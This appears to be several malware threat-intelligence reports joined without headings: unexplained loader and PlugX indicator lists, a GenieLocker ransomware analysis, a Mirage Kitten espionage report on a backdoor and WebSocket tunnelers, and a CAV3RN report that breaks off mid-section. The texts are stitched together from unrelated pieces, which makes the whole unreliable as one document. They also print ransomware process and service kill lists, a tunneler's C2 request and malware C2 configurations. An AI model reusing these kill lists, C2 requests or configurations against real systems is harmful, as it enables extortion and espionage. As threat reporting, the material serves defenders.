64[.]7[.]198[.]130

Loaders

OctLurk loader

082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll

SilkLurk loader

8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll

PlugX dropper

3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe

PlugX loader

ef59aad625eebda8650aec5820d6ce69 RasTls.dll

OctLurk backdoor

a0cc7accc79abb0287aaba825d0351f0

OctLurk File Manager plugin

a56cce62930a6bee80d679b4c495a340

OctLurk Command Shell plugin

1415a78b75de7db4ba3d1e61d7db4501

OctLurk Interaction Manager plugin

a4d550a3ba0cd073fe3839b99d98a7a8

Impacket’s secretsdump (not available)

32a5985543433a4f60da2fafd873b927 Adobe.exe

Keylogger

2a571f6cee42a17d873f4c942649813f AnyDesk.exe

Browser password stealer

37dc84e4bcad92fa28f1e7778d088283 x64.exe

FSCAN

cf903e4a1629aa0582fd0363b5786676 fc.exe

Batch scripts (not available)

6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat

Archive utilities

WinRAR

18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe

7zip

9a1dd1d96481d61934dcc2d568971d06 7z.exe

File paths

OctLurk file paths

C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe

SilkLurk file paths

C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll

PlugX file paths

C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res

WinRAR and 7z file paths

C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

Argument	Description
First argument	“Secret” argument, hex string value
-p, –percent N	Percentage of file content to encrypt
-r, –recursive	Process directories recursively
-l, –log <filename>	Set path for log file
-h, –help	Show help message
Last argument	Path to encrypt

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

Value or name	Size (bytes)	Description
version	1	Hardcoded byte with value 1, most likely the version.
encryption_percent	1	Percentage of file content to encrypt, value from -p argument.
file_nonce	24	Nonce used during encryption of the file content.
original_filesize	8	Original size of the file before encryption.
total_chunk_count	8	Max count of chunks inside the current file.
chunk_size	4	Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size	4	The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks	32	BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count	4	Number of chunks that were encrypted.
extension	64	A string with the additional ransomware extension.
poly1305_tags (array)	16 bytes per chunk	Array of Poly1305 tags of encrypted chunks.
bitmask	varies, one bit per each chunk	Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

Argument	Description
-p <perc>	Percentage of file content to encrypt
-j <workers>	Number of encryption threads
-r <dir>	Process directories recursively
-w <sec>	Delay before start
-d	Daemonizing the process
-l <logfile>	Path to log file

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

